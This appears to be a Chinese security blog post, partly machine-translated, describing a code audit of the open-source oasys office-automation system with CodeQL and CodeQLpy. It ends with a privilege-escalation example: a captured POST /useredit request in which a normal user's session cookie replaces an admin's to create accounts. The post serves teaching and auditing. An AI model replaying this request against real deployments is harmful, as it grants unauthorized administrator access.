发布于12月5日12月5日 0x01 前言 黑盒测试期间可能会忽略一些潜在的漏洞和安全问题。代码审计可以直接查看代码,深入代码层面全面分析系统并检查其执行逻辑,从而发现黑盒测试中难以发现的问题。 我个人最喜欢的代码审计方面是它能够扩大漏洞的范围。在当前的模块化开发环境中,开发人员经常编写工具类和库来实现代码重用和简化代码。当代码审计时发现某个工具类存在漏洞时,调用该工具类的所有方法中可能都存在相同的漏洞。我们只需回溯工具类的调用位置,就可以轻松找到多个漏洞。 有句话说“没有绝对安全的系统”。这里Yu9借用这句话来说明一点。无论我们在手工代码审计方面有多么扎实的技术背景、丰富的经验和敏锐的洞察力,仍然会存在一些局限性,比如可能的遗漏和错误。 为了克服这些限制,可以使用自动化代码审计工具来快速识别所有可疑漏洞的位置,从而提高审计的效率和准确性。然而,我们也需要认识到自动化工具的使用存在一些限制。它们依赖于已知的漏洞模式和规则,可能无法完全涵盖所有漏洞类型。因此,在进行代码审计时,手动审计和自动化工具相结合往往是一种更有效的方法,可以确保发现尽可能多的漏洞,提高审计的准确性。 0x02语句 请严格遵守网络安全法的相关规定! 本次分享主要是为了交流和学习。请不要将其用于非法目的。您将自行承担一切后果。 所有未经授权的网络攻击都是非法的,互联网不能游离于法律之外。 0x03 环境设置 审核系统 oasysoasys是一个OA办公自动化系统。 一个基于springboot框架开发的项目,mysql底层数据库,前端使用freemarker模板引擎,使用Bootstrap作为前端UI框架。与jpa、mybatis等框架集成。源代码:https://gitee.com/aaluoshan/oa_system 既然是springboot项目,只要打开idea,配置数据库,Maven就可以加载依赖并运行。工具 CodeQL CodeQLpy1) CodeQl CodeQL 是一种语义代码分析引擎,可扫描代码库以查找漏洞。使用CodeQL,可以像查询数据一样查询代码。编写查询来查找漏洞的所有变体并对其进行处理,并分享个人查询。 CodeQl教程可以参考这位大师的文章:https://kiprey.github.io/2020/12/CodeQL-setup/ 2)代码QLpy CodeQLpy是一款基于CodeQL实现的自动化代码审计工具 项目地址:https://github.com/webraybtl/CodeQLpy 0x04源代码扫描 使用CodeQLpy工具扫描源代码。 1)初始化数据库,这里直接通过源码来生成数据库,所以不需要-c参数 python main.py -t D:\\Desktop\\oa\_system-master 2)生成数据库。如果有任何错误,请忽略它们。最后只需要看到“数据库创建成功”即可。 codeql 数据库创建out/database/oa\_system-master --language=java --source-root='D:\\Desktop\\oa\_system-master' --command='D:\\Desktop\\CodeQLpy-master\\out\\decode/run.cmd' --overwrite 3)检查漏洞 python main.py -d D:\\Desktop\\CodeQLpy-master\\out\\database\\oa\_system-master 4)最终会生成:csv文件,路径CodeQLpy-master\out\result 可以看到结果还是很清晰的 来源:漏洞关键词 SourceFunction:漏洞所在的方法名称 SourcePath:漏洞所在文件地址 0x05漏洞分析 01。垂直覆盖获取超级管理员权限 这块已经给出了有风险的代码地址和方法名,快速的定位漏洞点。这里我们全局搜索(ctrl+shift+f) 全局搜索123456,定位到oa_system-master\src\main\java\cn\gson\oasys\controller\user\UserController.java 看了代码才知道这个控制器是初始化用户的功能,并给出了默认密码123456。 经过查找,发现是用户管理模块中的一个新功能。 添加新用户捕获数据包 接下来登录一个普通用户的账号、可以看到该用户是没有用户管理此功能的。 捕捉他的会话 使用普通用户的session来替换管理员账户捕获的数据包中的session。注意:身份证格式要规范,我用的自己的不好展示了。 使用修改下边这个数据包的话要身份证哈idCard参数 POST /useredit HTTP/1.1 主机: 127.0.0.1 sec-ch-ua-mobile:0 Accept-Encoding: gzip、deflate、br Sec-Fetch-Dest: iframe 接受语言: zh-CN,zh;q=0.9 Sec-Fetch-Mode: 导航 引用者: http://127.0.0.1/useredit Cookie: JSESSIONID=CA902F7BBA9E186241CC19593B034F47 升级不安全请求: 1 缓存控制:最大年龄=0 sec-ch-ua-platform: 'Windows' Sec-Fetch-Site: 同源 sec-ch-ua: '不是\_品牌';v='8', 'Chromium';v='120', 'Google Chrome';v='120' Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-User:1 来源: http://127.0.0.1 Content-Type: 应用程序/x-www-form-urlencoded User-Agent: Mozilla/5.0(Windows NT 10.0;Win64;x64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/120.0.0.0 Safari/537.36 内容长度: 317 userName=testamp;userTel=14444444444amp;realName=%E5%BC%A0%E4%B8%89amp;eamil=14444444444%40qq.coma mp;地址=%E6%B2%B3%E5%8D%97amp;userEdu=%E6%9C%AC%E7%A7%91amp;学校=%E9%83%91%E5%A4%A7amp;idCard=xxxxx
创建帐户或登录后发表意见